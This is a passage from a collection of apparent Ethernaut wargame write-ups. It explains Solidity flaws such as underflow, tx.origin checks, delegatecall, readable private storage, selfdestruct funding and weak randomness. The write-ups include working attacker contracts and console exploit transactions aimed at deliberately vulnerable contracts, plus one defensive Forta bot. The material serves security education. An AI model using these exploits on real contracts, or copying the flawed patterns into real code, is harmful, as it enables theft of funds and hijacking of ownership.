104 | delegatedFrom = legacyToken;
105 | forta = Forta(fortaAddress);
106 | player = playerAddress;
107 | cryptoVault = vaultAddress;
108 | _mint(cryptoVault, 100 ether);
109 | }
110 |
111 | modifier onlyDelegateFrom() {
112 | require(msg.sender == delegatedFrom, "Not legacy contract");
113 | _;
114 | }
115 |
116 | modifier fortaNotify() {
117 | address detectionBot = address(forta.usersDetectionBots(player));
118 |
119 | // Cache old number of bot alerts
120 | uint256 previousValue = forta.botRaisedAlerts(detectionBot);
121 |
122 | // Notify Forta
123 | forta.notify(player, msg.data);
124 |
125 | // Continue execution
126 | _;
127 |
128 | // Check if alarms have been raised
129 | if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
130 | }
131 |
132 | function delegateTransfer(
133 | address to,
134 | uint256 value,
135 | address origSender
136 | ) public override onlyDelegateFrom fortaNotify returns (bool) {
137 | _transfer(origSender, to, value);
138 | return true;
139 | }
140 | }
141 | ```
142 |
143 | `player` has to find the bug in the `CryptoVault` and create a Forta bot to protect it from being drained.
144 |
145 | First, let's figure out the exploit that allows to drain the underlying (DET) tokens. If you see the `sweepToken()` method it can be seen that it restricts sweeping the underlying tokens with a `require` check - as expected. But take a look at `LegacyToken`'s `transfer()` method:
146 | ```solidity
147 | if (address(delegate) == address(0)) {
148 | return super.transfer(to, value);
149 | } else {
150 | return delegate.delegateTransfer(to, value, msg.sender);
151 | }
152 | ```
153 |
154 | Looks like it actually calls `delegateTransfer()` method of some `DelegateERC20` contract. But this `DelegateERC20` is nothing but the implementation of the underlying (`DET`) token itself! And `delegateTransfer()` simply transfers the tokens according to given parameters. The only restriction `delegateTransfer()` puts is that `msg.sender` must be the LegacyToken (`delegatedFrom` address) contract.
155 |
156 | So we can indirectly sweep the underlying tokens through `transfer()` of `LegacyToken` contract. We simply call `sweepToken` with address of `LegacyToken` contract. That in turn would make the `LegacyContract` to call the `DoubleEntryPoint`'s (DET token) `delegateTransfer()` method.
157 |
158 | ```js
159 | vault = await contract.cryptoVault()
160 |
161 | // Check initial balance (100 DET)
162 | await contract.balanceOf(vault).then(v => v.toString()) // '100000000000000000000'
163 |
164 | legacyToken = await contract.delegatedFrom()
165 |
166 | // sweepTokens(..) function call data
167 | sweepSig = web3.eth.abi.encodeFunctionCall({
168 | name: 'sweepToken',
169 | type: 'function',
170 | inputs: [{name: 'token', type: 'address'}]
171 | }, [legacyToken])
172 |
173 | // Send exploit transaction
174 | await web3.eth.sendTransaction({ from: player, to: vault, data: sweepSig })
175 |
176 | // Check balance (0 DET)
177 | await contract.balanceOf(vault).then(v => v.toString()) // '0'
178 | ```
179 |
180 | And `CryptoVault` is swept of DET tokens!
181 |
182 | This worked because during invocation `transfer()` of `LegacyToken` the `msg.sender` was `CryptoVault`. And when `delegateTransfer()` invoked right after, the `origSender` is the passed in address of `CryptoVault` contract and `msg.sender` is `LegacyToken` so `onlyDelegateFrom` modifier checks out.
183 |
184 | Now to prevent this exploit we have to write a bot which would be a simple contract implementing the `IDetectionBot` interface. In the bot's `handleTransaction(..)` we could simply check that the address was not `CryptoVault` address. If so, raise alert. Hence preventing sweep.
185 |
186 | Open up Remix and deploy the bot (on Rinkeby) and copy its address.
187 | ```solidity
188 | pragma solidity ^0.8.0;
189 |
190 | interface IForta {
191 | function raiseAlert(address user) external;
192 | }
193 |
194 | contract FortaDetectionBot {
195 | address private cryptoVault;
196 |
197 | constructor(address _cryptoVault) {
198 | cryptoVault = _cryptoVault;
199 | }
200 |
201 | function handleTransaction(address user, bytes calldata msgData) external {
202 | // Extract the address of original message sender
203 | // which should start at offset 168 (0xa8) of calldata
204 | address origSender;
205 | assembly {
206 | origSender := calldataload(0xa8)
207 | }
208 |
209 | if (origSender == cryptoVault) {
210 | IForta(msg.sender).raiseAlert(user);
211 | }
212 | }
213 | }
214 | ```
215 |
216 | Note that in the above `FortaDetectionBot` contract we extract the address of the original transaction sender by calculating its offset according to the [ABI encoding](https://docs.soliditylang.org/en/latest/abi-spec.html#argument-encoding) specs.
217 |
218 | Now set the bot in `Forta` contract:
219 | ```js
220 | // FortaDetectionBot
221 | botAddr = '0x...'
222 |
223 | // Forta contract address
224 | forta = await contract.forta()
225 |
226 | // setDetectionBot() function call data
227 | setBotSig = web3.eth.abi.encodeFunctionCall({
228 | name: 'setDetectionBot',
229 | type: 'function',
230 | inputs: [
231 | { type: 'address', name: 'detectionBotAddress' }
232 | ]
233 | }, [botAddr])
234 |
235 | // Send the transaction setting the bot
236 | await web3.eth.sendTransaction({from: player, to: forta, data: setBotSig })
237 | ```
238 |
239 | That is it!
240 |
241 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
242 |
243 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
244 |
245 |
--------------------------------------------------------------------------------
/level_2_Fallout.md:
--------------------------------------------------------------------------------
1 | # Level 2: Fallout
2 |
3 |
4 | This is the level 2 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
5 |
6 | ## Pre-requisites:
7 | - Solidity smart contract [constructors](https://docs.soliditylang.org/en/v0.8.10/contracts.html)
8 |
9 | ## Hack
10 | Given contract:
11 |
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 |
16 | import '@openzeppelin/contracts/math/SafeMath.sol';
17 |
18 | contract Fallout {
19 |
20 | using SafeMath for uint256;
21 | mapping (address => uint) allocations;
22 | address payable public owner;
23 |
24 |
25 | /* constructor */
26 | function Fal1out() public payable {
27 | owner = msg.sender;
28 | allocations[owner] = msg.value;
29 | }
30 |
31 | modifier onlyOwner {
32 | require(
33 | msg.sender == owner,
34 | "caller is not the owner"
35 | );
36 | _;
37 | }
38 |
39 | function allocate() public payable {
40 | allocations[msg.sender] = allocations[msg.sender].add(msg.value);
41 | }
42 |
43 | function sendAllocation(address payable allocator) public {
44 | require(allocations[allocator] > 0);
45 | allocator.transfer(allocations[allocator]);
46 | }
47 |
48 | function collectAllocations() public onlyOwner {
49 | msg.sender.transfer(address(this).balance);
50 | }
51 |
52 | function allocatorBalance(address allocator) public view returns (uint) {
53 | return allocations[allocator];
54 | }
55 | }
56 | ```
57 |
58 | The `player` has to claim ownership of the contract.
59 |
60 | Inspecting all the methods, it can be seen there isn't any method that switches the ownership of the contract. Only ownership logic is inside the constructor. But, constructors are called only once at the deployment time!
61 |
62 | How? Something about constructor declaration looks unusual -- it "seems" to be defined with same name as the contract i.e. `Fallout` (it is NOT actually). Don't we use `constructor` keyword to declare constructors?
63 |
64 | First of all - intended constructor declaration has typo, `Fal1out` instead of `Fallout`. So it is just treated as a normal method not a constructor. Hence we simply call it & claim ownership.
65 |
66 | Secondly, even if it wasn't a typo, that is - constructor was declared as `Fallout`, it won't even compile!
67 | Older versions of Solidity had this kind of constructor declaration. If you go through the [docs](https://docs.soliditylang.org/en/v0.8.10/050-breaking-changes.html#constructors) you'll find that `constructor` keyword was favored against contract name as constructor. It was mandated even in `v0.5.0` - _"Constructors must now be defined using the constructor keyword"_. And target contract uses `v0.6.0`.
68 |
69 | Anyway, silly mistake.
70 |
71 | ```javascript
72 | await contract.Fal1out()
73 | ```
74 |
75 | And `player` has taken over as `owner`. Verify by:
76 | ```javascript
77 | await contract.owner() === player
78 |
79 | // Output: true
80 | ```
81 |
82 | Submit instance. Done.
83 |
84 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
85 |
86 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
87 |
88 |
--------------------------------------------------------------------------------
/level_3_Coin-Flip.md:
--------------------------------------------------------------------------------
1 | # Level 3: Coin Flip
2 |
3 | This is the level 3 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - [Blocks](https://ethereum.org/en/developers/docs/blocks/) in Ethereum blockchain
7 | - Solidity - interacting with a deployed contract at an address. Read [this](https://solidity-by-example.org/interface/) or better watch [this](https://www.youtube.com/watch?v=YWtT0MNHYhQ)
8 |
9 | ## Hack
10 |
11 | Given contract:
12 |
13 | ```solidity
14 | // SPDX-License-Identifier: MIT
15 | pragma solidity ^0.6.0;
16 |
17 | import '@openzeppelin/contracts/math/SafeMath.sol';
18 |
19 | contract CoinFlip {
20 |
21 | using SafeMath for uint256;
22 | uint256 public consecutiveWins;
23 | uint256 lastHash;
24 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
25 |
26 | constructor() public {
27 | consecutiveWins = 0;
28 | }
29 |
30 | function flip(bool _guess) public returns (bool) {
31 | uint256 blockValue = uint256(blockhash(block.number.sub(1)));
32 |
33 | if (lastHash == blockValue) {
34 | revert();
35 | }
36 |
37 | lastHash = blockValue;
38 | uint256 coinFlip = blockValue.div(FACTOR);
39 | bool side = coinFlip == 1 ? true : false;
40 |
41 | if (side == _guess) {
42 | consecutiveWins++;
43 | return true;
44 | } else {
45 | consecutiveWins = 0;
46 | return false;
47 | }
48 | }
49 | }
50 | ```
51 |
52 | Basically, we need to predict outcome of coin flip correctly 10 times in a row to win.
53 |
54 | The contract given tries to simulate random coin flip by generating `true` or `false` using the block number of network (Ropsten in our case). But this is not actually really random! You can very easily query the network to see the current block number.
55 |
56 | Turns out random number generation is one of the serious pitfalls of blockchains due to deterministic nature. That's why there are dedicated services for the purpose like [Chainlink VRF](https://blog.chain.link/random-number-generation-solidity/).
57 |
58 | Since this block number can be easily accessible, we can also generate the result of coin flip and feed this result to `flip` function to have a correct guess and increment `consecutiveWins`. We are able to do this because block time of the network will be long enough so that `block.number` doesn't change between function calls.
59 |
60 | We'll write a solidity contract (on Remix IDE) with almost same coin-flip generation code `CoinFlipGuess` & call the `flip` of given `CoinFlip` contract at deployed instance address, with already determined result of flip:
61 |
62 | ```solidity
63 | // SPDX-License-Identifier: MIT
64 | pragma solidity ^0.6.0;
65 |
66 | interface ICoinFlip {
67 | function flip(bool _guess) external returns (bool);
68 | }
69 |
70 | contract CoinFlipGuess {
71 | uint256 public consecutiveWins = 0;
72 | uint256 lastHash;
73 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
74 |
75 | function coinFlipGuess(address _coinFlipAddr) external returns (uint256) {
76 | uint256 blockValue = uint256(blockhash(block.number - 1));
77 |
78 | if (lastHash == blockValue) {
79 | revert();
80 | }
81 |
82 | lastHash = blockValue;
83 | uint256 coinFlip = blockValue / FACTOR;
84 | bool side = coinFlip == 1 ? true : false;
85 |
86 | bool isRight = ICoinFlip(_coinFlipAddr).flip(side);
87 | if (isRight) {
88 | consecutiveWins++;
89 | } else {
90 | consecutiveWins = 0;
91 | }
92 |
93 | return consecutiveWins;
94 | }
95 | }
96 | ```
97 |
98 | I'm keeping track of `consecutiveWins` in `CoinFlipGuess` too and returning it from `coinFlipGuess`, just so that I can see it increasing.
99 |
100 | Remember to deploy the above contract on Ropsten network because the target - `CoinFlip` is on Ropsten too.
101 |
102 | Get the instance address of give `CoinFlip` instance, so that we can give it to `coinFlipGuess` as param:
103 |
104 | ```javascript
105 | contract.address()
106 |
107 | // Output:
108 | ```
109 |
110 | Now, simply call `coinFlipGuess` method (on Remix) with `` as only parameter, 10 times with successful transaction.
111 |
112 | Go back to console and query `consecutiveWins` from `CoinFlip` instance:
113 | ```javascript
114 | await contract.consecutiveWins().then(v => v.toString())
115 |
116 | // Output: '10'
117 | ```
118 |
119 | You may be tempted to run a loop to call `coinFlipGuess` 10 times automatically, but it won't work because of the guard `if` statement in `CoinFlip`:
120 | ```
121 |
122 | if (lastHash == blockValue) {
123 | revert();
124 | }
125 | ```
126 | The invocation will revert if block number was same as in previous invocation. Since `lastHash` / `blockValue` is derived from `block.number`.
127 |
128 | Game rigged successfully.
129 |
130 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
131 |
132 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
133 |
134 |
--------------------------------------------------------------------------------
/level_4_Telephone.md:
--------------------------------------------------------------------------------
1 | # Level 4: Telephone
2 |
3 | This is the level 4 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - [Difference between `tx.origin` and `msg.sender`](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin)
7 |
8 | ## Hack
9 |
10 | Given contract:
11 |
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 |
16 | contract Telephone {
17 |
18 | address public owner;
19 |
20 | constructor() public {
21 | owner = msg.sender;
22 | }
23 |
24 | function changeOwner(address _owner) public {
25 | if (tx.origin != msg.sender) {
26 | owner = _owner;
27 | }
28 | }
29 | }
30 | ```
31 |
32 | `player` has to claim this contract's ownership.
33 |
34 | Simple one. We'll make an intermediate contract (named `IntermediateContract`) with the same method `changeOwner` (or anything else -- name doesn't matter) on Remix. `IntermediateContract`'s `changeOwner` will simply call `Telephone` contract's `changeOwner`.
35 |
36 | ```solidity
37 | // SPDX-License-Identifier: MIT
38 | pragma solidity ^0.6.0;
39 |
40 | interface ITelephone {
41 | function changeOwner(address _owner) external;
42 | }
43 |
44 | contract IntermediateContract {
45 | function changeOwner(address _addr) public {
46 | ITelephone(_addr).changeOwner(msg.sender);
47 | }
48 | }
49 | ```
50 |
51 | `player` will call `IntermediateContract` contract's `changeOwner`, which in turn will call `Telephone`'s `changeOwner` with `msg.sender` (which is `player`) as param. In that case `tx.origin` is `player` and `msg.sender` is `IntermediateContract`'s address. And since now `tx.origin` != `msg.sender`, `player` has claimed the ownership.
52 |
53 | Done.
54 |
55 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
56 |
57 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
58 |
59 |
--------------------------------------------------------------------------------
/level_5_Token.md:
--------------------------------------------------------------------------------
1 | # Level 5: Token
2 |
3 | This is the level 5 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - Integer [overflow/underflow](https://docs.soliditylang.org/en/v0.6.0/security-considerations.html#two-s-complement-underflows-overflows) in Solidity `v0.6.0`
7 |
8 | ## Hack
9 |
10 | Given contract:
11 |
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 |
16 | contract Token {
17 |
18 | mapping(address => uint) balances;
19 | uint public totalSupply;
20 |
21 | constructor(uint _initialSupply) public {
22 | balances[msg.sender] = totalSupply = _initialSupply;
23 | }
24 |
25 | function transfer(address _to, uint _value) public returns (bool) {
26 | require(balances[msg.sender] - _value >= 0);
27 | balances[msg.sender] -= _value;
28 | balances[_to] += _value;
29 | return true;
30 | }
31 |
32 | function balanceOf(address _owner) public view returns (uint balance) {
33 | return balances[_owner];
34 | }
35 | }
36 | ```
37 |
38 | `player` is initially assigned 20 tokens i.e. `balances[player] = 20` and has to somehow get any additional tokens (so that `balances[player] > 20` ).
39 |
40 | The `transfer` method of `Token` performs some unchecked arithmetic operations on `uint256` (`uint` is shorthand for `uint256` in solidity) integers. That is prone to underflow.
41 |
42 | The max value of a 256 bit unsigned integer can represent is `2^256 − 1`, which is -
43 |
44 | ```
45 | 115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,935
46 | ```
47 |
48 | Hence `uint256` can only comprise values from `0` to `2^256 - 1` only. Any addition/subtraction would cause overflow/underflow. For example:
49 | ```
50 | Let M = 2^256 - 1 (max value of uint256)
51 |
52 | 0 - 1 = M
53 |
54 | M + 1 = 0
55 |
56 | 20 - 21 = M
57 |
58 | (All numbers are 256-bit unsigned integers)
59 | ```
60 |
61 | We're going to use last expression from example above to exploit the contract.
62 |
63 | Let's call `transfer` with a zero address (or any address other than `player`) as `_to` and 21 as `_value` to transfer.
64 |
65 | ```javascript
66 | await contract.transfer('0x0000000000000000000000000000000000000000', 21)
67 | ```
68 |
69 | Here's how arithmetics of function would go:
70 |
71 | The `require` check below would evaluate to true.
72 | ```
73 | require(balances[msg.sender] - _value >= 0);
74 | ```
75 |
76 | Because `balances[msg.sender] = 20` and `_value = 21`, hence
77 | ```
78 | balances[msg.sender] - _value = 2^256 - 1 >= 0
79 | ```
80 | due to underflow.
81 |
82 | Next statement deducts `_value` amount from `player` address. At this point `balances[msg.sender] = 20` and `_value = 21`. Again an underflow:
83 | ```
84 | balances[msg.sender] -= _value;
85 | ```
86 | is same as
87 | ```
88 | balances[msg.sender] = balances[msg.sender] - _value;
89 | ```
90 |
91 | And so,
92 | ```
93 | balances[msg.sender] = 20 - 21 = 2^256 - 1
94 | ```
95 |
96 | Whoa! now the `player` (or `msg.sender`) has `balances[msg.sender]` = `2^256 - 1` number of tokens!!!
97 |
98 | Last statement just sets balance of a zero address to `_value` i.e. 21, which we couldn't care less about.
99 |
100 | And that's it! `player` has acquired humongous no. of tokens, even way way way more than `totalSupply`. Verify by:
101 | ```javascript
102 | await contract.balanceOf(player).then(v => v.toString())
103 | // Output: '115792089237316195423570985008687907853269984665640564039457584007913129639935'
104 | ```
105 |
106 | A nice thing to note is that it worked because contract's compiler version is `v0.6.0`. This, most probably, **won't work for latest version** (`v0.8.0` as of writing) because underflow/overflow causes failing assertion by default in latest version.
107 |
108 |
109 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
110 |
111 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
112 |
113 |
--------------------------------------------------------------------------------
/level_6_Delegation.md:
--------------------------------------------------------------------------------
1 | # Level 6: Delegation
2 |
3 | This is the level 6 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - [delegatecall](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how) in Solidity
7 |
8 | ## Hack
9 |
10 | Given contracts:
11 | ```solidity
12 | // SPDX-License-Identifier: MIT
13 | pragma solidity ^0.6.0;
14 |
15 | contract Delegate {
16 |
17 | address public owner;
18 |
19 | constructor(address _owner) public {
20 | owner = _owner;
21 | }
22 |
23 | function pwn() public {
24 | owner = msg.sender;
25 | }
26 | }
27 |
28 | contract Delegation {
29 |
30 | address public owner;
31 | Delegate delegate;
32 |
33 | constructor(address _delegateAddress) public {
34 | delegate = Delegate(_delegateAddress);
35 | owner = msg.sender;
36 | }
37 |
38 | fallback() external {
39 | (bool result,) = address(delegate).delegatecall(msg.data);
40 | if (result) {
41 | this;
42 | }
43 | }
44 | }
45 | ```
46 |
47 | `player` has to claim ownership of provided instance of `Delegation` contract.
48 |
49 | A simple one if you clearly understand how `delegatecall` works, which is being used in `fallback` method of `Delegation`.
50 |
51 | We just have to send function signature of `pwn` method of `Delegate` as `msg.data` to `fallback` so that _code_ of `Delegate` is executed in the context of `Delegation`. That changes the ownership of `Delegation`.
52 |
53 | So, first get encoded function signature of `pwn`, in console:
54 |
55 | ```javascript
56 | signature = web3.eth.abi.encodeFunctionSignature("pwn()")
57 | ```
58 |
59 | Then we send a transaction with `signature` as data, so that `fallback` gets called:
60 |
61 | ```javascript
62 | await contract.sendTransaction({ from: player, data: signature })
63 | ```
64 |
65 | After transaction is successfully mined `player` is the `owner` of `Delegation`. Verify by:
66 |
67 | ```javascript
68 | await contract.owner() === player
69 |
70 | // Output: true
71 | ```
72 |
73 | That's it.
74 |
75 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
76 |
77 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
78 |
79 |
--------------------------------------------------------------------------------
/level_7_Force.md:
--------------------------------------------------------------------------------
1 | # Level 7: Force
2 |
3 | This is the level 7 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - [selfdestruct](https://docs.soliditylang.org/en/v0.6.0/units-and-global-variables.html#contract-related) function in Solidity
7 |
8 | ## Hack
9 |
10 | Given contract:
11 |
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 |
16 | contract Force {/*
17 |
18 | MEOW ?
19 | /\_/\ /
20 | ____/ o o \
21 | /~____ =ø= /
22 | (______)__m_m)
23 |
24 | */}
25 | ```
26 |
27 | `player` has to somehow make this empty contract's balance grater that 0.
28 |
29 | Simple `transfer` or `send` won't work because the `Force` implements neither `receive` nor `fallaback` functions. Calls with any value will revert.
30 |
31 | However, the checks can be bypassed by using `selfdestruct` of an intermediate contract - `Payer` which would specify `Force`'s address as beneficiary of it's funds after it's self-destruction.
32 |
33 | First off make a soon-to-be-destroyed contract in Remix:
34 |
35 | ```Solidity
36 | // SPDX-License-Identifier: MIT
37 | pragma solidity ^0.6.0;
38 |
39 | contract Payer {
40 | uint public balance = 0;
41 |
42 | function destruct(address payable _to) external payable {
43 | selfdestruct(_to);
44 | }
45 |
46 | function deposit() external payable {
47 | balance += msg.value;
48 | }
49 | }
50 | ```
51 |
52 | Send a value of say, `10000000000000 wei` (0.00001 eth) by calling `deposit`, so that `Payer`'s balance increases to same amount.
53 |
54 | Get instance address of `Force` in console:
55 |
56 | ```javascript
57 | contact.address
58 |
59 | // Output:
60 | ```
61 |
62 | Call `destruct` of `Payer` with `` as parameter. That's destroy `Payer` and send all of it's funds to `Force`. Verify by:
63 |
64 | ```javascript
65 | await getBalance(contract.address)
66 |
67 | // Output: '0.00001'
68 | ```
69 |
70 | Level cracked!
71 |
72 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
73 |
74 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
75 |
76 |
--------------------------------------------------------------------------------
/level_8_Vault.md:
--------------------------------------------------------------------------------
1 | # Level 8: Vault
2 |
3 | This is the level 8 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - [Layout of state variables](https://docs.soliditylang.org/en/v0.8.10/internals/layout_in_storage.html) in Solidity
7 | - [Reading storage](https://web3js.readthedocs.io/en/v1.5.2/web3-eth.html#getstorageat) at a slot in contract
8 |
9 | ## Hack
10 |
11 | Given contract:
12 |
13 | ```solidity
14 | // SPDX-License-Identifier: MIT
15 | pragma solidity ^0.6.0;
16 |
17 | contract Vault {
18 | bool public locked;
19 | bytes32 private password;
20 |
21 | constructor(bytes32 _password) public {
22 | locked = true;
23 | password = _password;
24 | }
25 |
26 | function unlock(bytes32 _password) public {
27 | if (password == _password) {
28 | locked = false;
29 | }
30 | }
31 | }
32 | ```
33 |
34 | `player` has to set `locked` to false.
35 |
36 | Only way is by calling `unlock` by correct password.
37 |
38 | Although `password` state variable is private, one can still read a storage variable by determining it's storage slot. Therefore sensitive information should not be stored on-chain, even if it is specified `private`.
39 |
40 | Above, the `password` is at a storage slot of 1 in `Vault`.
41 |
42 | Let's read it:
43 |
44 | ```javascript
45 | password = await web3.eth.getStorageAt(contract.address, 1)
46 | ```
47 |
48 | Call `unlock` with `password`:
49 |
50 | ```javascript
51 | await contract.unlock()
52 | ```
53 |
54 | Unlocked. Verify by:
55 |
56 | ```javascript
57 | await contract.locked() === false
58 | ```
59 |
60 | And that's it.
61 |
62 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
63 |
64 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
65 |
66 |
--------------------------------------------------------------------------------
/level_9_King.md:
--------------------------------------------------------------------------------
1 | # Level 9: King
2 |
3 | This is the level 9 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 | - Solidity contract [receive](https://ethereum.stackexchange.com/questions/81994/what-is-the-receive-keyword-in-solidity/81995) function
7 | - [transfer](https://docs.soliditylang.org/en/v0.8.10/types.html#members-of-addresses) method of addresses
8 |
9 | ## Hack
10 |
11 | Given contract:
12 |
13 | ```solidity
14 | // SPDX-License-Identifier: MIT
15 | pragma solidity ^0.6.0;
16 |
17 | contract King {
18 |
19 | address payable king;
20 | uint public prize;
21 | address payable public owner;
22 |
23 | constructor() public payable {
24 | owner = msg.sender;
25 | king = msg.sender;
26 | prize = msg.value;
27 | }
28 |
29 | receive() external payable {
30 | require(msg.value >= prize || msg.sender == owner);
31 | king.transfer(msg.value);
32 | king = msg.sender;
33 | prize = msg.value;
34 | }
35 |
36 | function _king() public view returns (address payable) {
37 | return king;
38 | }
39 | }
40 | ```
41 |
42 | `player` has to prevent the current level from reclaiming the kingship after instance is submitted.
43 |
44 | Kingship is switched in `receive` function i.e. when a specific value is sent to `King`. So, we'll have to somehow prevent execution of `receive`.
45 |
46 | The key thing to notice is that previous `king` is sent back `msg.value` using `transfer`. But what if this previous `king` was a contract and it didn't implement any `receive` or `fallback`? It won't be able to receive any value. And because of this `transfer` stops execution with an exception (unlike `send`). Gotcha!
47 |
48 | Let's make a contract `ForeverKing` that has NO `receive` or `fallback`:
49 |
50 | ```solidity
51 | // SPDX-License-Identifier: MIT
52 | pragma solidity ^0.6.0;
53 |
54 | contract ForeverKing {
55 | function claimKingship(address payable _to) public payable {
56 | (bool sent, ) = _to.call.value(msg.value)("");
57 | require(sent, "Failed to send value!");
58 | }
59 | }
60 | ```
61 |
62 | Query the current prize:
63 |
64 | ```javascript
65 | await contract.prize().then(v => v.toString())
66 |
67 | // Output: '1000000000000000'
68 | ```
69 |
70 | So at least `1000000000000000` wei is required to claim kingship.
71 |
72 | Get your instance's address, so that `ForeverKing` can send value to it:
73 |
74 | ```javascript
75 | contract.address
76 |
77 | // Output:
78 | ```
79 |
80 | Call `claimKingship` of `ForeverKing` with param `` and set the amount `1000000000000000` wei as value in Remix. That will make `ForeverKing` contract as king.
81 |
82 | Submit the instance. Upon submitting the level will try to reclaim kingship through `receive` fallback. However, it will fail.
83 |
84 | This is because upon reaching line:
85 | ```
86 | king.transfer(msg.value);
87 | ```
88 | exception would occur because `king` (i.e. deployed `ForeverKing` contract) has no fallback functions.
89 |
90 | Level cleared.
91 |
92 | Bonus thing to note here is that in `ForeverKing`'s `claimKingship`, `call` is used specifically. `transfer` or `send` will fail because of limited 2300 gas stipend. `receive` of `King` would require more than 2300 gas to execute successfully.
93 |
94 | Of course, there are probably other ways too to prevent a successful `receive` execution.
95 |
96 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
97 |
98 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
99 |
100 |
--------------------------------------------------------------------------------